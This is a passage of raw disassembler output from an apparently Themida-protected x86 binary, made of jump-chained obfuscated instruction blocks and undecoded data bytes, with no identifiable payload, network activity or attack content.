		dd 6C5268h, 24048900h, 6EEDBE56h, 0E90C8Ch, 81FFFFC2h
		dd 302618E9h, 81D92912h, 302618C1h, 0B5FEE912h,	0EA81FFFFh
		dd 4, 5C241487h, 68240C89h, 3FD8h, 0E9243C89h, 4604h, 0FF1201E9h
		dd 4EC83FFh, 2F81E9h
		db 0
; ---------------------------------------------------------------------------


loc_5604F5:				; CODE XREF: Themida_:0055CA00j
		push	eax
		mov	eax, 1A702BD2h
		xor	edx, eax
		pop	eax
		jmp	loc_557DDC
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 526AA81Fh,	0FF636EE9h, 24048BFFh, 4C481h
		dd 0CE90000h, 81FFFFE4h, 4C4h, 4641E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56052A:				; CODE XREF: Themida_:0055308Aj
		add	edx, 1348022Dh
		jmp	loc_553DE4
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0F3h
		dd 51762020h, 0E3C1D3F7h, 92C38107h, 0E95D5B6Ah, 0C90h
		dd 294F281h, 0D0315AB6h, 0FFF6BEE9h, 241489FFh,	0FF7B24E9h
		dd 0F7E987FFh, 81E987D5h, 0FFFFFFC1h, 4F7168FFh, 1C890000h
		dd 70BF5724h, 89657D2Dh, 5C78E9FBh, 0D0880000h,	5A58C788h
		dd 0B6E9FA88h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56058F:				; CODE XREF: Themida_:00559498j
		or	edi, 35306232h
		dec	edi
		add	edi, 436C4FA3h
		or	edi, 80864ABh
		sub	edi, 7D554A17h
		add	edi, 0F3E86318h
		mov	eax, edi
		pop	edi
		add	eax, edx
		jmp	loc_554B86
; ---------------------------------------------------------------------------
aI4Ss		db '‰4$é˜ ',0
		align 10h
		dd 4BA5259h, 29000000h,	1C875AD3h, 0BA4AE924h, 2C89FFFFh
		dd 81E58924h, 4C5h, 4ED8300h, 8B242C87h, 4892424h, 388BB824h
		dd 60BE02B4h, 81384177h, 25E42EEh, 92CE8158h, 8150E248h
		dd 4B6111F6h, 58C631F2h, 311F1F2Dh, 91AFE915h, 0F781FFFFh
		dd 1AE19DDFh, 0E95FFD29h, 0FFFFCBCBh, 5740D0F7h, 0FF3CD6BFh
		dd 7CBB5308h, 0E9569D19h, 0FFFF23F8h, 0C9E9515Ch
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56063B:				; CODE XREF: Themida_:00555380j
		mov	[esp], ecx
		jmp	loc_5568A3
; ---------------------------------------------------------------------------
		db 83h
		dd 64E904EEh
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56064B:				; CODE XREF: Themida_:005521FDj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55CD32
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C8Bh, 106FE9h
		db 0
; ---------------------------------------------------------------------------


loc_560681:				; CODE XREF: Themida_:0055EF94j
		mov	cl, dl
		mov	[edi+28h], cl
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5543C6
; ---------------------------------------------------------------------------
		db 68h
		dd 6B42h, 55240489h, 0D066D7BDh, 0CD814542h, 47145BFBh
		dd 0A6CD81h, 0F58163D4h, 59061644h, 73FDF581h, 0F58164CAh
		dd 53096FD2h, 13E9DDF7h, 0B8FFFF8Bh, 2D6564ADh,	7EAD68h
		dd 24348900h, 562AE9h, 2434FF00h, 8124048Bh, 4C4h, 0E1895100h
		dd 4C181h, 51500000h, 36BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5606F1:				; CODE XREF: Themida_:0055E0A2j
		push	63491DA0h
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		jmp	loc_560141
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 6Bh
		dd 66FFFFD7h, 8124048Bh, 4ECh, 24048900h, 3992E9h, 0FC4E900h
		dd 0EC83FFFFh, 24248904h, 0FF6509E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560735:				; CODE XREF: Themida_:00560833j
		push	ebx
		jmp	loc_562203
; ---------------------------------------------------------------------------
		db 0B8h
		dd 0FEh, 0FFD8DDE9h, 4B8FFh, 0C1010000h, 240C8758h, 0F24248Bh
		dd 1FE9C8AFh, 52FFFFF0h, 1BAh, 5AD32900h, 4EC814Bh, 89000000h
		dd 0B9512434h, 5EE3F4Ch, 3FE2F181h, 0E9C127A5h,	4EC8306h
		dd 0BB241C89h, 66996020h, 4E82E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56078E:				; CODE XREF: Themida_:005568A6j
		not	ebp
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	708Ah
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56112C
; ---------------------------------------------------------------------------
		db 81h
		dd 8C5009F2h, 42D2F728h, 0EA81D2F7h, 7C06535Fh,	5CE4EA81h
		dd 0D7298CC0h, 4892E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5607C6:				; CODE XREF: Themida_:005642BDj
		pop	esi
		jmp	loc_55797D
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 8704E983h, 895C240Ch,	77E92424h, 83FFFF1Ah
		dd 0C0E904C5h, 29FFFF36h, 2434FFC6h, 4BB4E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5607F6:				; CODE XREF: Themida_:00557579j
		push	eax
		jmp	loc_5562A0
; ---------------------------------------------------------------------------


loc_5607FC:				; CODE XREF: Themida_:005579C7j
		mov	edx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_5647A0
; ---------------------------------------------------------------------------
		db 56h
		dd 6870D7BEh, 8BF08943h, 0C4832434h, 3E8C104h, 0E957E0D1h
		dd 0FFFF9C9Eh
; ---------------------------------------------------------------------------


loc_560820:				; CODE XREF: Themida_:0055853Ej
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	al, 0E1h
		jmp	loc_560735
; ---------------------------------------------------------------------------
aIssL		db '‰áéÂL',0
		db 0
; ---------------------------------------------------------------------------


loc_56083F:				; CODE XREF: Themida_:0056150Aj
		push	746453ECh
		jmp	loc_55B6D5
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0D4h
		dd 8130CD4Bh, 71631AEBh, 5BDD89BAh, 8106EDC1h, 0C641C5E5h
		dd 2FE58105h, 81223E59h, 6B5E75C5h, 0CBF58134h,	0E9773B03h
		dd 0FFFFC7B4h
; ---------------------------------------------------------------------------


loc_560878:				; CODE XREF: Themida_:00563005j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	esi
		jmp	loc_55A3E3
; ---------------------------------------------------------------------------
aZa		db 'Z€Ä³',0
		dd 0B60F58E3h, 48F66C0h, 0E50E987h, 3C8BFFFFh, 4C48324h
		dd 14C5E581h, 50532A1Ah, 1D3A85B8h, 58C38966h, 575BDD31h
		dd 0FF698EE9h, 0BE5655FFh, 763519BDh, 46EE814Eh, 8918B2D4h
		dd 0D5F75EF5h, 7196CD81h, 4A681CEAh, 8900000Ah,	33BA2414h
		dd 0E97EFA15h, 0FFFF8EC6h, 4C481h, 89520000h, 4C281E2h
		dd 0E9000000h, 0FFFFD744h, 4E9835Fh, 0E904EC83h, 3BCFh
; ---------------------------------------------------------------------------


loc_560908:				; CODE XREF: Themida_:00556CA2j
		not	ebx
		add	ebx, 572262C6h
		add	ebx, 0F2355205h
		jmp	loc_55F8B3
; ---------------------------------------------------------------------------
		db 1
aSsB		db 'èéÇB',0
		align 2


loc_560922:				; CODE XREF: Themida_:00562E42j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5516EE
; ---------------------------------------------------------------------------
		dw 36BBh
		dd 2901E429h, 241C8BD8h, 0FFC99FE9h, 4C483FFh, 40E9C601h
		dd 89FFFF27h, 0E0685AD3h, 8900003Fh, 0B8E9241Ch
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56095F:				; CODE XREF: Themida_:00560A8Cj
		mov	[esp], edi
		push	4E82E7Ah
		mov	edi, [esp]
		jmp	loc_556AC1
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FF241C89h, 0FF042474h, 0D7E92434h, 8800002Ch, 0EEC2E9D4h
		dd 5266FFFFh, 0FF1A94E9h, 719368FFh, 3C890000h,	68E78924h
		dd 5901h, 0FF3844E9h, 8BDE29FFh, 0C481241Ch, 4,	295EF001h
		dd 3156E9D8h, 68660000h, 8966422Dh, 3AB3241Ch, 0FF6194E9h
		dd 0D1BA52FFh, 893B963Fh, 0EBC15AD3h, 0ABC38102h, 13B0EB9h
		dd 53575BD8h, 7E62BF57h, 0FB89475Dh, 5245E9h, 241C8700h
		dd 4009E9h, 59CE0100h, 7922C581h, 0F5013925h, 31AEE9h
		dd 0E9575100h, 1084h, 33243C31h, 0E95C243Ch, 0FFFF0CDAh
		dd 0E924248Bh, 0FFFF0CD2h, 5158C329h, 0C6885253h, 0EAE9F788h
		dd 81000049h, 3B7F3DC6h, 1C9DE967h, 4210000h, 0AFE99C24h
		dd 5CFFFF0Ch, 51BDBF57h, 0B951510Ah, 74C7267Eh,	0A3F18141h
		dd 835B0979h, 2C8904ECh, 5A4CBD24h, 0E94D58A9h,	0FFFF0D58h
; ---------------------------------------------------------------------------


loc_560A64:				; CODE XREF: Themida_:005594B8j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55EC57
; ---------------------------------------------------------------------------


loc_560A6D:				; CODE XREF: Themida_:0055CF1Bj
		mov	[esp], ebp
		mov	ebp, 479D179Eh
		jmp	loc_55D5EC
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 741EFB1Dh, 50E9D129h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560A87:				; CODE XREF: Themida_:005629F4j
		push	0B57h
		jmp	loc_56095F
; ---------------------------------------------------------------------------


loc_560A91:				; CODE XREF: Themida_:0055D1D4j
		pop	ecx
		pop	ecx
		jmp	loc_55C974
; ---------------------------------------------------------------------------
		dd 33243C31h, 895C243Ch, 47E92404h, 0F7FFFF0Ch,	0EE8196D0h
		dd 0A502E587h, 6F03772Dh, 5F0013Ah, 3A6F0377h, 0ADABE95Eh
		dd 0BDBDFFFFh, 812CCD53h, 7C1B5AE5h, 0F2CD8132h, 5217C322h
		dd 435570BAh, 54C28137h, 8104A859h, 178F48EAh, 5AD53109h
		dd 0E95DEB89h, 0FFFFF0B7h, 591ED0B9h, 59CF2945h, 3C8BF929h
		dd 4C48124h, 8B000000h,	0C483243Ch, 5E0A6804h, 14890000h
		dd 44DFBA24h, 0CA8141FEh, 6BBA558Fh, 1DB0BF57h,	59E94D84h
		dd 0C100005Eh, 8BE903E8h, 8BFFFF97h, 0C4832404h, 8B545204h
		dd 80682414h, 8900007Eh, 0E589242Ch, 0FFF576E9h, 24048FFFh
		dd 4BF57h, 8AE90000h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B57:				; CODE XREF: Themida_:00553BCEj
		mov	esi, [esp]
		add	esp, 4
		push	4D1Eh
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 7F3E6A9Dh
		sub	eax, ecx
		jmp	loc_55ABBE
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 2BE5E924h, 2B68FFFFh, 0E9000032h, 38A3h
; ---------------------------------------------------------------------------


loc_560B88:				; CODE XREF: Themida_:005591A0j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5570D0
; ---------------------------------------------------------------------------
		dw 0FA31h
		dd 0FA31D731h, 0FA87D7F7h, 36CBF57h, 0E94F1B0Dh, 1FFEh
		dd 8104C483h, 4C4h, 0E9F00000h,	0FFFFE8C8h, 5624048Bh
		dd 0C681E689h, 4, 4BD55h, 0EE010000h, 2434875Dh, 0E689565Ch
		dd 1AE768h, 24048900h, 12E0B951h, 0D9F7769Dh, 2DD3F181h
		dd 0E1816F68h, 4D130F6Ah, 0C105E1C1h, 0C18102E1h, 6FCBD5E8h
		dd 0C8BC889h, 4C48124h,	5000000h, 1, 26F6E940h,	0F588FFFFh
		dd 0FFC5805Ah, 0FF899AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560C29:				; CODE XREF: Themida_:0055948Dj
		xchg	eax, ebp
		pop	ebp
		neg	eax
		push	edi
		mov	edi, 154D6143h
		shr	edi, 5
		not	edi
		or	edi, 20F00D7Eh
		sub	edi, 0A2858D31h
		add	eax, edi
		jmp	loc_558AFD
; ---------------------------------------------------------------------------


loc_560C4B:				; CODE XREF: Themida_:0055B83Bj
		pop	esi
		push	edx
		push	ebx
		pop	edx
		pop	ebx
		dec	ebx
		jmp	loc_55A88A
; ---------------------------------------------------------------------------


loc_560C56:				; CODE XREF: Themida_:0055D89Bj
		xor	ebx, 261E18B0h
		mov	esi, ebx
		pop	ebx
		push	esi
		jmp	loc_554292
; ---------------------------------------------------------------------------
		db 5Fh,	5, 6
		dd 2D60BD3Ch, 32054DB7h, 0B705E801h, 5232054Dh,	0B454B0BAh
		dd 0C741E900h, 0FE58FFFFh, 2DB151CFh, 8008E980h, 0C1802EC9h
		dd 59CF08B8h, 0E91FC780h, 36B2h, 2474FF53h, 48F5B04h, 24248B24h
		dd 33F568h, 240C8900h, 62C368h,	24348900h, 8021F2BEh, 30AEB93Eh
		dd 0F131276Dh, 39F1815Eh, 52054631h, 5031C2BAh,	58CA813Fh
		dd 0C17D380Bh, 0C28103E2h, 5EC98290h, 3832E9h, 52EEBF00h
		dd 7C011C97h, 0EDE90824h, 5F000057h, 5C240487h,	0E99CC884h
		dd 0FFFF09EEh, 0E9240C8Bh, 0FFFF5439h, 55240C89h, 0E9455D59h
		dd 0FFFFC938h, 9E0319BBh, 2202E94Bh, 0BAB8FFFFh, 25583B43h
		dd 11E93BCFh, 2F4E8725h, 62912552h, 462545B8h, 0E9337A18h
		dd 3F3Dh, 27FEDF05h, 0CE0EE9FFh, 34FFFFFFh
		db 24h,	5Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5633DE
; ---------------------------------------------------------------------------


loc_560D64:				; CODE XREF: Themida_:0055874Aj
		pop	ecx
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_557AFB
; ---------------------------------------------------------------------------
aIH		db '‰,$h',0
		db 4, 2	dup(0)
		dd 0FFAF5AE9h, 241489FFh, 5E9E289h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D87:				; CODE XREF: Themida_:0056632Cj
		sub	esi, 62D98E5Ah
		jmp	loc_555F6D
; ---------------------------------------------------------------------------
		dw 48Fh
aSsg		db '$éáG',0
		align 2


loc_560D9A:				; CODE XREF: Themida_:0055F8B5j
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	5A7h
		jmp	loc_55F025
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 0FF2B51E9h, 242C8BFFh, 4C481h, 0C8310000h, 83240C8Bh
		dd 92E904C4h, 5Eh, 45B5BD8h, 288F0472h,	0B35366D8h, 66D8288Fh
		dd 43F2E95Bh, 2C8BFFFFh, 4C48324h, 5BFD6857h, 3C8B4F68h
		dd 49B3E924h, 0C15B0000h, 0C58102E5h, 225F2A1Ch, 8ECD8145h
		dd 814F3404h, 34CC9BEDh, 5DEB01FFh
		db 55h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560FD3
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0BEh
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E1B:				; CODE XREF: Themida_:00564E33j
		push	edi
		jmp	loc_551DBC
; ---------------------------------------------------------------------------
		db 5Eh,	33h, 0Ch
		dd 30FEE924h, 8B66FFFFh, 0E956240Ch, 0FFFFDBC4h, 0AF71152Dh
		dd 58C129CEh, 0B850D101h, 1A2E50FBh, 0FFE6ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E49:				; CODE XREF: Themida_:005541E0j
		pop	dword ptr [esp]
		jmp	loc_55A2C4
; ---------------------------------------------------------------------------
		db 28h,	0EAh, 80h
		dd 0C280CCEAh, 0C8B6623h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		shr	dl, 3
		dec	dl
		add	dl, 0C5h
		push	ebx
		push	eax
		mov	al, 0BBh
		mov	bl, al
		jmp	loc_555FF2
; ---------------------------------------------------------------------------


loc_560E82:				; CODE XREF: Themida_:005565D8j
		mov	esp, [esp]


loc_560E85:				; CODE XREF: Themida_:00551B76j
		push	edx
		push	esi
		jmp	loc_55E392
; ---------------------------------------------------------------------------
		dd 2436C181h, 0E98101B0h, 10AE2C37h, 8324348Bh,	0C18104C4h
		dd 2, 2474FF51h, 48F5904h, 24248B24h, 4BB0F66h,	0EDE99C24h
		dd 59FFFF0Fh, 0C005EFC0h, 0F9E908EFh, 51000056h, 339FE95Eh
		dd 62BB0000h, 4B147A51h, 45BCEB81h, 0E3C10DFFh,	38D2E907h
		dd 2C89FFFFh, 0D119E924h, 0C781FFFFh, 4, 3D6A68h, 3363E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560EFA:				; CODE XREF: Themida_:005667A4j
		mov	edi, 4D9F0428h
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_553892
; ---------------------------------------------------------------------------


loc_560F09:				; CODE XREF: Themida_:00563CB5j
		push	eax
		jmp	loc_55E2AF
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 48904ECh,	4EC8124h, 68000000h, 1F0Ah, 24048F54h
		dd 0FFC897E9h, 3DC181FFh, 298138F7h, 0BF5759CBh, 2C4D2022h
		dd 3B8EE9h, 13A6BA00h, 0A2BD220Fh, 31220F13h, 0E9015AD5h
		dd 0FFCA1AE9h, 242C31FFh, 8B242C33h, 4302424h, 0BEE99C24h
		dd 55FFFFF7h, 0D510B3BDh, 6E5C105h, 0E905EDC1h,	0FFFF114Dh
; ---------------------------------------------------------------------------


loc_560F78:				; CODE XREF: Themida_:0055F31Dj
		shl	edx, 5
		xor	edx, 5EE41B2h
		jmp	loc_554800
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 81000000h,	4ECh, 241C8900h, 0F220F0BBh, 0E9D38772h
		dd 0FFFFEB71h, 3540D8F7h, 9CE0A14Ch, 41E9C589h,	0B7FFFFD4h
		dd 6E7C02Ch, 0E966CF80h, 0FFFFB122h, 8B5FFB29h,	0C4832414h
		dd 46AC6804h, 13E90000h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560FD3:				; CODE XREF: Themida_:00560E10j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55EA68
; ---------------------------------------------------------------------------
		dd 4C63C781h, 0FE89458Eh, 5EF7095Fh, 6166BE56h,	0C6817A7Ah
		dd 0ED2B305Bh, 575EF731h, 0D9E95F5Bh, 8FFFFFCFh, 4812404h
		dd 424h, 0C7815F00h, 4,	4B951h,	0BE560000h, 790B5D61h
		dd 6F79C781h, 2EE944BBh, 5A000059h, 6E84F681h, 0D6F708A2h
		dd 0C714B951h, 0CE31EF96h, 57240C8Bh, 0C781E789h, 4, 4C781h
		dd 3C870000h, 4987E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56105A:				; CODE XREF: Themida_:00558220j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_564679
; ---------------------------------------------------------------------------


loc_561065:				; CODE XREF: Themida_:00563CCBj
		sub	ebp, 7C6E6739h
		add	ebp, edi
		push	ebx
		mov	ebx, 0F680A31h
		jmp	loc_552626
; ---------------------------------------------------------------------------
		dd 4C481h, 0C2290000h, 73C168h,	0AB85E900h, 0AE0DFFFFh
		dd 565BF70h, 0C895B752h, 0DAE9C789h, 89FFFF74h,	58542404h
		dd 405h, 40500h, 4870000h, 1B67E924h, 41590000h, 0FFE309E9h
		dd 0AEBF57FFh, 817A4507h, 0A77EC6C2h, 81FA2903h, 0A77EC6EAh
		dd 0DA015F03h, 7AEC281h, 525B7A45h, 42474FFh, 0E924148Bh
		dd 0FFFFA689h, 7429B335h, 8BC129B1h, 0C4812404h, 4, 3879BE56h
		dd 0CE81026Ah, 4BAF5A82h, 4F3EE681h, 0E6815CF9h, 7222686Eh
		dd 8102E6C1h, 0B80B9BC6h, 0FFF13148h, 815E2434h, 4C4h
		dd 0BABE5600h, 0E948996Eh, 0F0Bh
; ---------------------------------------------------------------------------


loc_56112C:				; CODE XREF: Themida_:005607A2j
		add	edx, 4
		jmp	loc_55199D
; ---------------------------------------------------------------------------


loc_561137:				; CODE XREF: Themida_:00558673j
		sub	esp, 4
		mov	[esp], edi
		push	42DE46B1h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55B77E
; ---------------------------------------------------------------------------
		db 5Fh,	29h, 7Ch
		dd 6C810424h, 0CA90424h, 34FF6EB6h, 1E95F24h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561163:				; CODE XREF: Themida_:00556ECEj
		pop	edx
		push	ecx
		jmp	loc_55C936
; ---------------------------------------------------------------------------
		dw 0BCBFh
		dd 0E955312Bh, 0FFFFCCDFh, 859AE952h, 8B66FFFFh, 8953240Ch
		dd 0DE6DE9E3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561186:				; CODE XREF: Themida_:005635C3j
		add	ecx, 4
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 34612CBCh
		push	eax
		mov	eax, 0CB9ED348h
		mov	esi, eax
		pop	eax
		add	esi, ecx
		pop	ecx
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_556B69
; ---------------------------------------------------------------------------
aIZRCgOsO	db '‰<$¿z',27h,'º*Rº—GÁOéßO',0
		dw 5700h
		dd 0D922C9BFh, 5FFA317Ch, 0FFE4C0E9h, 0E9D631FFh, 0FFFF2EDEh
		dd 958EEB81h, 0D8018398h, 0FFD598E9h, 0EC8158FFh, 4, 0BA241489h
		dd 13F217BCh, 607BBD55h, 7BE93922h, 68000052h, 518Fh, 0E9240C89h
		dd 56CCh, 3ECC8059h, 80ACCC80h,	0F4807DC4h, 398F68DFh
		dd 0C890000h, 88E18824h, 240C8BCAh, 0E904C483h,	0FFFF62C1h
		dd 0ABFCE959h, 48BFFFFh, 4C48124h, 5F000000h, 0E908E8C1h
		dd 0FFFFF671h
; ---------------------------------------------------------------------------


loc_56124C:				; CODE XREF: Themida_:00565576j
		push	edi
		jmp	loc_56241D
; ---------------------------------------------------------------------------
		dw 24D2h
		dd 93E99C24h, 8BFFFF04h, 0E953240Ch, 0FFFF5E38h
; ---------------------------------------------------------------------------


loc_561264:				; CODE XREF: Themida_:00558633j
		pop	ecx
		add	esp, 4
		push	4860h
		mov	[esp], eax
		mov	eax, 5EF055C7h
		jmp	loc_55B098
; ---------------------------------------------------------------------------


loc_56127A:				; CODE XREF: Themida_:00561E2Ej
		and	ecx, 5A8B1591h
		neg	ecx
		xor	ecx, 8B438717h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		shl	edi, 6
		jmp	loc_55BB8B
; ---------------------------------------------------------------------------
		dd 44C38166h, 19FEE9B6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5612A2:				; CODE XREF: Themida_:00564E20j
		sub	esi, edx
		add	esi, 48A457EBh
		pop	edx
		push	ecx
		mov	ecx, esi
		mov	edx, ecx
		pop	ecx
		pop	esi
		add	[esp+4], edx
		mov	edx, [esp]
		jmp	loc_55949D
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 86BB2D5Bh, 0C3894D47h, 582434FFh, 0FF1C62E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5612D1:				; CODE XREF: Themida_:005665BBj
		pop	ecx
		add	ecx, 4
		jmp	loc_564F11
; ---------------------------------------------------------------------------
		db 5, 70h, 3Fh
		dd 6AE91374h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5612E7:				; CODE XREF: Themida_:0055C709j
		xchg	esi, [esp]
		pop	esp
		sub	edi, 4
		jmp	loc_55FCB7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 55C60100h, 0E904EC83h,	183h, 5C240487h, 24048F54h
		dd 4BF57h, 6C810000h, 48B0424h,	7C012265h, 44810424h, 48B0424h
		dd 5A5F2265h, 3B8C68h, 24348900h, 19535FBEh, 0E9D6F758h
		dd 0FFFF81E3h, 0F9BF575Ch, 9706116h, 0C5835FFDh, 4EC8301h
		dd 52243C89h, 2F432FBAh, 4EAC12Dh, 0F281D2F7h, 2C282FC9h
		dd 2DF3E281h, 0E281230Ch, 19EB1FFCh, 6FEEA81h, 77E90E86h
		dd 0BD000052h, 345C565Eh, 5656BA52h, 0D5317BB0h, 6EDC15Ah
		dd 0F581DDF7h, 0AB8902AEh, 3A6AB951h, 0CF01352Eh, 81EF0159h
		dd 2E3A6AEFh, 0BB535D35h, 7E092321h, 15BDF01h, 21BB53CFh
		dd 297E0923h, 0BB535BDFh, 554952AEh, 4F00E9h, 8903BA00h
		dd 78E9EF0Eh
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5613CB:				; CODE XREF: Themida_:0055DCDFj
		push	1304h
		mov	[esp], edi
		push	21B6h
		mov	[esp], ebx
		mov	ebx, 2BA2370Eh
		add	ebx, 42D64D83h
		dec	ebx
		not	ebx
		jmp	loc_56475D
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2474FF24h, 4928E904h, 0DF040000h, 0FFA6D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561401:				; CODE XREF: Themida_:0055A9F9j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_551800
; ---------------------------------------------------------------------------
		dw 0FD31h
		dd 5BDD295Fh, 0FF104CE9h, 80AAB3FFh, 0D8289AC3h, 0FFABA8E9h
		dd 0B35366FFh, 66DE0046h, 81241C8Bh, 2C4h, 5AF02800h, 0D804D800h
		dd 0FF104EE9h, 0F6DE86FFh, 80DE86D3h, 0FE303AF6h, 0FE30F730h
		dd 0FF9C09E9h, 0B95157FFh, 370B26F2h, 758FE941h, 34FFFFFFh
		dd 87BEE924h, 3489FFFFh, 0E7ABE24h, 0EEC146C3h,	0E9BA5206h
		dd 0C15CB81Ch, 2EE902E2h, 89FFFFE2h, 72E92414h,	6800001Ch
		dd 90Fh, 50241489h, 250E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56149E:				; CODE XREF: Themida_:0055D068j
		mov	edx, edi
		push	6154h
		mov	[esp], edx
		pop	eax
		pop	edx
		mov	edi, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	7D96h
		jmp	loc_5594DA
; ---------------------------------------------------------------------------


loc_5614C5:				; CODE XREF: Themida_:00558E93j
		mov	ebp, 0ED85167h
		mov	eax, ebp
		pop	ebp
		push	3476h
		mov	[esp], ebp
		jmp	loc_55A631
; ---------------------------------------------------------------------------


loc_5614DA:				; CODE XREF: Themida_:00556AA1j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_552D56
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_557A63
; ---------------------------------------------------------------------------
		db 0FFh
a4S8		db '4$é>8',0
		db 0
; ---------------------------------------------------------------------------


loc_561507:				; CODE XREF: Themida_:00557C2Bj
		mov	[esp], ecx
		jmp	loc_56083F
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 6E2E900h, 0C2010000h, 5724048Bh, 0C781E789h, 4
		dd 4C781h, 0EEE90000h, 1FFFF6Eh, 0DAC381D3h, 0E923E11Bh
		dd 0FFFF8D11h, 0E904EC83h, 0FFFFB12Eh, 592434FFh, 8704C483h
		dd 7BE92404h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561557:				; CODE XREF: Themida_:0055AFB4j
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	dword ptr [esp]
		jmp	loc_562FD6
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 9B8E3D05h, 58C301B5h, 5BD9015Fh, 2474FF51h, 48F5904h
		dd 97AFE924h, 0C383FFFFh, 241C8704h, 51C6815Ch,	290ACC74h
		dd 7998E9FEh, 53E9FFFFh
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_56159B:				; CODE XREF: Themida_:0055ED47j
		pop	dx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 40h
		add	bh, 0CCh
		push	ecx
		mov	ch, 0C1h
		neg	ch
		jmp	loc_55D1D9
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 74h
		dd 66FFFF3Eh, 6824048Bh, 3A35h,	54241489h, 142CE9h, 1A685800h
		dd 8900007Bh, 0FE682414h, 54000058h, 0FF1C00E9h, 4EC83FFh
